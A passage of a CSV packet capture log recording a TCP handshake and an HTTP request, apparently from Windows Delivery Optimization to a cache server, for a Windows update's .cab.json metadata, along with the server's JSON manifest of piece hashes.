('SAckOK', b'')]\"\"}}]\"\n2026-07-09 12:22:48.908583,2,TCP 77.111.102.205:80 -> 10.152.152.11:64032,77.111.102.205,10.152.152.11,80,64032,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,77.111.102.0/23,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=1993403767 Ack=3187970489,bc2411360d0cbc24112907bb080045000034000040004006e3e44d6f66cd0a98980b0050fa2076d0ed77be0491b98012faf057060000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@...Mof.\n....P. v..w........W..............\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58340, \"\"src\"\": \"\"77.111.102.205\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64032, \"\"seq\"\": 1993403767, \"\"ack\"\": 3187970489, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 22278, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-07-09 12:22:48.908870,3,TCP 10.152.152.11:64032 -> 77.111.102.205:80,10.152.152.11,77.111.102.205,64032,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,77.111.102.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=3187970489 Ack=1993403768,bc24112907bbbc2411360d0c080045000028d38240008006d06d0a98980b4d6f66cdfa200050be0491b976d0ed7850100402a67a0000,\".$.)...$.6\n...E..(..@....m\n...Mof.. .P....v..xP....z..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 54146, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 53357, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"77.111.102.205\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 80, \"\"seq\"\": 3187970489, \"\"ack\"\": 1993403768, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 42618, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-09 12:22:48.908905,4,TCP 10.152.152.11:64032 -> 77.111.102.205:80,10.152.152.11,77.111.102.205,64032,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,77.111.102.0/23,PA,,http://77.111.102.205/phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com,bc24112907bbbc2411360d0c0800450001bed38340008006ced60a98980b4d6f66cdfa200050be0491b976d0ed785018040269d50000474554202f7068662f632f646f632f70682f70726f64352f6d73646f776e6c6f61642f7570646174652f736f6674776172652f736563752f323032352f30392f313032342f77696e646f777331302e302d6b62353036363133302d7836342d6e64703438315f303630343666656537653834666462323532626630646661306435313737326164613536303462652e6361622e6a736f6e3f6361636865486f73744f726967696e3d646f776e6c6f61642e77696e646f77737570646174652e636f6d20485454502f312e310d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a4163636570743a202a2f2a0d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a557365722d4167656e743a204d6963726f736f66742d44656c69766572792d4f7074696d697a6174696f6e2f31302e300d0a4d532d43563a2055384c634a70724350452b717533576e2e312e312e372e322e342e312e310d0a436f6e74656e742d4c656e6774683a20300d0a486f73743a2037372e3131312e3130322e3230350d0a0d0a,\".$.)...$.6\n...E.....@.....\n...Mof.. .P....v..xP...i...GET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nAccept-Encoding: gzip, deflate\nUser-Agent: Microsoft-Delivery-Optimization/10.0\nMS-CV: U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1\nContent-Length: 0\nHost: 77.111.102.205\n\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 446, \"\"id\"\": 54147, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 52950, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"77.111.102.205\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 80, \"\"seq\"\": 3187970489, \"\"ack\"\": 1993403768, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1026, \"\"chksum\"\": 27093, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": \"\"*/*\"\", \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": \"\"gzip, deflate\"\", \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": \"\"Keep-Alive\"\", \"\"Content_Length\"\": \"\"0\"\", \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"77.111.102.205\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Microsoft-Delivery-Optimization/10.0\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": \"\"{b'MS-CV': b'U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1'}\"\"}}]\"\n2026-07-09 12:22:48.908909,5,TCP 77.111.102.205:80 -> 10.152.152.11:64032,77.111.102.205,10.152.152.11,80,64032,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,77.111.102.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1993403768 Ack=3187970895,bc2411360d0cbc24112907bb080045000028df7f4000400604714d6f66cd0a98980b0050fa2076d0ed78be04934f5010003f56fa0000,\".$.6\n..$.)....E..(..@.@..qMof.\n....P. v..x...OP..?V...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 57215, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 1137, \"\"src\"\": \"\"77.111.102.205\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64032, \"\"seq\"\": 1993403768, \"\"ack\"\": 3187970895, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 22266, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-09 12:22:50.529020,6,TCP 77.111.102.205:80 -> 10.152.152.11:64032,77.111.102.205,10.152.152.11,80,64032,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,77.111.102.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,bc2411360d0cbc24112907bb080045000ff8df8040004006f49f4d6f66cd0a98980b0050fa2076d0ed78be04934f5018003f66ca0000485454502f312e3120323030204f4b0d0a5365727665723a206e67696e780d0a446174653a205468752c203039204a756c20323032362031323a32323a343920474d540d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20333739330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a207075626c69632c6d61782d6167653d3137323830300d0a4c6173742d4d6f6469666965643a204d6f6e2c203133204f637420323032352032323a33353a343620474d540d0a5669613a20312e31207661726e6973680d0a4167653a20390d0a582d5365727665642d42793a2063616368652d616d7332313036362d414d530d0a582d43616368653a204849540d0a582d43616368652d486974733a20310d0a582d54696d65723a2053313736303436313231372e3236353633392c5653302c5645310d0a582d4349443a2031303030360d0a582d4343433a2031643430636335662d313637352d343131362d613930392d3962656530653838366561610d0a436f6e74656e742d53656375726974792d506f6c6963793a2064656661756c742d737263202773656c662720687474703a2068747470733a20646174613a20626c6f623a2027756e736166652d696e6c696e65270d0a582d5853532d50726f74656374696f6e3a20313b206d6f64653d626c6f636b0d0a582d4672616d652d4f7074696f6e733a2053414d454f524947494e0d0a582d43616368652d5374617475733a205354414c450d0a4163636570742d52616e6765733a2062797465730d0a0d0a7b224d616a6f7256657273696f6e223a312c224d696e6f7256657273696f6e223a302c22486173684f66486173686573223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22486173684f66486173686573537472696e67223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22436f6e74656e744c656e677468223a37393234303630352c22506965636553697a65223a313034383537362c22506965636573223a5b2236336532666e3970354d314a67726f7434324970474d61356265775162424b4c2b656d35306f46622b69343d222c22597558624c676173344c68377750632b2b6556613337453649566465377250466e58346e44676f506b30633d222c224b36696f387735713872346a766342306258626e6b635232626746426477436e6a755847697a634d6d51553d222c223058332b783356312b4a50416a4345354e6732306765723566446531476741596f6c3553774a6f45422b303d222c226d6a7456713273456d78366b62386269436b6952776b67722b6378316e73367448586c76774b75786130493d222c2236762b4a6d6e41786344384568316145702b61315564754a4f6b6b5a7759566d6e71737341675665416a453d222c22354a476568434f57456b757371556d4c3863426e4e4d767635595148352b51446c6d776a7741504c6d50733d222c2252676f443054474a4959317a4a3039314d71696b6653307356305668553358356655744f6c6e6e53454e773d222c22364953337632773973507555572f416b556a663933557265456a4a3578377644626543536f7066416179593d222c224c50487063753231506f41576d6661314c616268356d4b6e316e61376f473335685163792f5139384974303d222c22457745725269654a3258715a58766443356d37664767577067327148484268334337723267485878454b303d222c2238696566472b537a366971484568495665517747746655517665482f5267705136436639545350385a4c513d222c2236654a495a4769796747774732617648694b4a33476351777037394367487371466b78556f7473436a6f733d222c226f66416f2f49666c424a476641424b723156727a696d766234754d334d386c676d784955366c57744a50513d222c225853652f706748334c7963767837714d4930756837706554753976576c387339316b554b70626633554f413d222c22387074626541313644594f7574732f78326e377a726264346f5264504379335157316e7348734865456b343d222c224d5674664b634d6e366d33756a51595a455a46723445392b6d2b52464d6a65344f3945386c2b632f6266553d222c2279597630754346584a634d594676464d6a2f3158496c4e4679737a707256634454464c6e6954346f6e386f3d222c22544159546762787656497a304c5a614651675979375332364c4538626478396e313371794b5049364871593d222c227256374141446142364f3575577a6559667a554766344d43504d4c6870664b4476642b32783569464256383d222c2254324b2f315545553956476e422b676e49675a6e2f2b4d4673346169436252416d66536c5061456a682f493d222c225978385067614f3962644d67494e6b784e344967777643326a5554384c505a3858507041337656696e79513d222c22486e33306a35447754586244347051615759414a475a4c6668636d43662b4c366f4b6776527a6a4a4c666b3d222c223559442f784146675a366a3155726f574a36725052672f47792b6b4573764567632f2b38646e6c576e57303d222c2239316d4f724453445a6a5a785a496d50756237544558374544567463756f76626a64735142773561524a493d222c2266656172354a664874595a454667484f4f6f4336744b4e61477a2b5858467173356d327349476f7a3873773d222c2264754443446d38596e64697733624674476379704471652b776e51504231435a41434c38695a77554f4b6b3d222c22682f4467624e73776b44434b4c6554335a4664775a566e3774314f3465492b364c7649506b723952532b6f3d222c2279505741626b7669434632306f6b304f363462755261305458742f4445563443556f4a796a6b53716732383d222c22594c4f6c59724f5a634b37426d4b62497a31745a53394c2b6249536575674b7973584b746f34524c516c303d222c2277526d344c394e584c627248684f4d72775954396b34354463444c784b62465355342b444e494a4f57706f3d222c22767737544a3279674a6d56496d304c393633395941766b71537845776f4a367059564a55444c474c2f4b343d222c227767767a7265354a564f7553756a6c39486e7631552b3577556f7a4f327a456e626e6930692b755a6a32493d222c2276443348767a347853575855784447634378616a54537651573267354b4c576449364f76787954364c48553d222c224f7a5963324d71356259416476353271594b62326f47703544537965615359656a4a6743306b4430344d413d222c22555156366f747049534e46704335576b48684b2f65566b694b3146696c796663794e7333794d7943434b513d222c2239567659434c435345386f4f65316f774f6e5053475771674873665533796259696b63455746516f77646b3d222c22696a6249626f4a73684f684b4e4f6f6a4563716d346b496d614447776d4d722b4d737a677a4b4b303655343d222c2274426779446c317833364a575774426d2b4675457168624f355a553849506c533030394635443338765a4d3d222c224932416b75474d336c7138765472744a66513837344537526a7171735544787635755735385041654267633d222c2255556d5177523159455a55586a6d4a5348416b6774443678504c46524f79787a464131574c493056786b553d222c22415238664d6c7a3241436d6661743233685634644e67713069674834416536474842677669616f2b4674773d222c22324134754c624463457044557a2f5079684e5a65384a324256657664483154522b43534141462b5665726f3d222c225138623349365561632b5071456b4759542f7555537679757a4e5966376e4950436e4748366939455364413d222c22613261553259616f6c33502b4d716b7045694a2b4945746d366a6937757a587353376a425043525a7367553d222c2237545053646c6a6f64717931713268686d546f6534755159637277595754522b47707a3147784e4c4d334d3d222c224c6345795236756d53347270672b446c59466f6d59337365784c3135547842304f44667076765a386a546b3d222c22485267784b6c624b6d526b59474f487a783063644f716c6248743859494c696441487a684839456a6858773d222c22396c526d61534333456176634c646b3947574c30764733514873576f542f64736458386d616f726f2f4e413d222c2273576349662f59644b7938714155666f4344527457324c6c444b4957726a41717a59514c776c66313351413d222c22726f6f33544f5444524c4e644f3365714d6354396d6b69302f666e776e39633467476638415930355957303d222c226c42482b575739674e7a677961346b747632694e53684a4a666b555868497468436b794d4c4d71495370673d222c22395571446e35537a31474172426148396f452b515575347668674b5a7a305030546771394b6476704a53343d222c226764646541515556594f3165765874702b4f5a39483547334f746143795a6e3777596471664c4643595a553d222c2230794f43614e6f54547166655131763078466a74747a454e486e67786178726e724d7852585a57336765553d222c227547624d506975745074506c6948614c47346164586c4137384961644b5444777970674931686632706f553d222c225969646648364d6d663971505a7a745341376d4953507559444f65334d484b6767646441576b53526349493d222c224864365253354d3144307a467a61635455616a546743544b2f542f386533457047534d33324f4933546f553d222c224a3632625a4a505868744f56686f796e65386875475a79446742496142676279777738556c6748375368553d222c227a4f726842667769725241614b79374250466b74536f674639442b436a4a71597956725058385a4a3559773d222c22645261414f516c71443730567a6236466f45323832526f666a79672f774162624339444c4939515a7470673d222c22595541452f4b6457592b7254754e3656385044632f41716177426f437465655a62764d2f4b7a4e7343776f3d222c2258355a4f655a342b5264754f4f6935447a47506b6b783566663570512f4d3650377a394a725334516b52383d222c222f7a537564754b656962594164454f445751384f7854524f384f6c3452723146346777466e7949413032633d222c22444f30686b68533031672f5966316b4142455274516d5276674d715579454f332f6974307067794b3379553d222c22423379462b6777484d636d716b6c744b2f34746943422b41597a542b7165727844626b59764c4d62694f343d222c222b456a39346d50314a51664945594c6241614d4a4f464d6a457263594b7065654e5539624b656c4a6c6c303d222c225634626967762b7a42393776723447745a4c4a676c556c51316e6b4b332b544262544b6f76757062567a6b3d222c225234354d316c7531667a7039766f4b41725266,\"{\"\"MajorVersion\"\":1,\"\"MinorVersion\"\":0,\"\"HashOfHashes\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"HashOfHashesString\"\":\"\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\"\",\"\"ContentLength\"\":79240605,\"\"PieceSize\"\":1048576,\"\"Pieces\"\":[\"\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\"\",\"\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\"\",\"\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\"\",\"\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\"\",\"\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\"\",\"\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\"\",\"\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\"\",\"\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\"\",\"\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\"\",\"\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\"\",\"\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\"\",\"\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\"\",\"\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\"\",\"\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\"\",\"\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\"\",\"\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\"\",\"\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\"\",\"\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\"\",\"\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\"\",\"\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\"\",\"\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\"\",\"\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\"\",\"\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\"\",\"\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\"\",\"\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\"\",\"\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\"\",\"\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\"\",\"\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\"\",\"\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\"\",\"\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\"\",\"\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\"\",\"\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\"\",\"\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\"\",\"\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\"\",\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\"\",\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\"\",\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\"\",\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\"\",\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\"\",\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\"\",\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\"\",\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\"\",\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\"\",\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\"\",\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\"\",\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\"\",\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\"\",\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\"\",\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\"\",\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\"\",\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\"\",\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\"\",\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\"\",\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\"\",\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZW3geU=\"\",\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\"\",\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\"\",\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\"\",\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\"\",\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\"\",\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\"\",\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\"\",\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\"\",\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\"\",\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\"\",\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\"\",\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\"\",\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\"\",\"\"R45M1lu1fzp9voKArRf\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 4088, \"\"id\"\": 57216, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 62623, \"\"src\"\": \"\"77.111.102.205\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64032, \"\"seq\"\": 1993403768, \"\"ack\"\": 3187970895, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 26314, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": \"\"bytes\"\", \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": null, \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": \"\"9\"\", \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": \"\"public,max-age=172800\"\", \"\"Connection\"\": \"\"keep-alive\"\", \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"3793\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": \"\"default-src 'self' http: https: data: blob: 'unsafe-inline'\"\", \"\"Content_Type\"\": \"\"application/json\"\", \"\"Date\"\": \"\"Thu, 09 Jul 2026 12:22:49 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": \"\"Mon, 13 Oct 2025 22:35:46 GMT\"\", \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": \"\"nginx\"\", \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": \"\"1.1 varnish\"\", \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, 